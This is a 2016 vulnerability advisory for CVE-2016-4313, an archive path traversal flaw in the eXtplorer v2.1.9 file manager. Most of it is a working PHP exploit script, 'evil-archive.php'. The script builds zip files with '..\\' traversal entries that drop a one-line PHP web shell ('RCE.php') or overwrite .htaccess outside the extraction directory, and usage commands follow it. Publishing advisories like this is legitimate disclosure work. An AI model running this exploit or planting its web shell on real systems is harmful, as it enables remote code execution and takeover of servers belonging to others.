eXtplorer v2.1.9 Archive Path Traversal

[hyp3rlinx@xxxxxxxxx]

[+] Credits: John Page aka hyp3rlinx

[+] Website: hyp3rlinx.altervista.org 

[+] Source:  http://hyp3rlinx.altervista.org/advisories/EXTPLORER-ARCHIVE-PATH-TRAVERSAL.txt

[+] ISR: apparitionsec


Vendor:
==============
extplorer.net



Product:
==================
eXtplorer v2.1.9

eXtplorer is a PHP and Javascript-based File Manager, it allows to browse directories, edit, copy, move, delete,
search, upload and download files, create & extract archives, create new files and directories, change file
permissions (chmod) and more. It is often used as FTP extension for popular applications like Joomla.



Vulnerability Type:
======================
Archive Path Traversal



CVE Reference:
==============
CVE-2016-4313



Vulnerability Details:
=====================

eXtplorer unzip/extract feature allows for path traversal as decompressed files can be placed outside of the intended target directory,
if the archive content contains "../" characters. This can result in files like ".htaccess" being overwritten or RCE / back door
exploits.


Tested on Windows 


Reproduction steps:
==================

1) Generate an archive using below PHP script 
2) Upload it to eXtplorer and then extract it
3) Check directory for the default 'RCE.php' file or use CL switch to overwrite files like .htaccess


Exploit code(s):
===============

Run below PHP script from CL...


[evil-archive.php]

<?php

if($argc<4){echo "Usage: <zip name>, <path depth>, <RCE.php as default? Y/[file]>";exit();}
$zipname=$argv[1];
$exploit_file="RCE.php";
$cmd='<?php exec($_GET["cmd"]); ?>';
if(!empty($argv[2])&&is_numeric($argv[2])){
$depth=$argv[2];
}else{
echo "Second flag <path depth> must be numeric!, you supplied '$argv[2]'";
exit();
}
if(strtolower($argv[3])!="y"){
if(!empty($argv[3])){
$exploit_file=$argv[3]; 
}
if(!empty($argv[4])){
$cmd=$argv[4];
}else{
echo "Usage: enter a payload for file $exploit_file wrapped in double quotes";
exit();
}
}
$zip = new ZipArchive();
$res = $zip->open("$zipname.zip", ZipArchive::CREATE);
$zip->addFromString(str_repeat("..\\", $depth).$exploit_file, $cmd);
$zip->close();
echo "\r\nExploit archive $zipname.zip created using $exploit_file\r\n";
echo "================ by hyp3rlinx ===================";
?>

///////////////////////////////////////////////////////////////////////

[Script examples] 

Use default RCE.php by passing "y" flag creating DOOM.zip with path depth of 2 levels 
c:\>php evil-archive.php  DOOM 2  Y


Create DOOM.zip with path depth of 4 levels and .htaccess file to overwrite one on the system.
c:\>php evil-archive.php  DOOM 4  .htaccess  "allow from all"


Disclosure Timeline:
===================================
Vendor Notification: No reply
May 14, 2016 : Public Disclosure



Exploitation Method:
======================
Local



Severity Level:
================
Medium 6.3
CVSS:3.0/AV:L/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:N



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information.

hyp3rlinx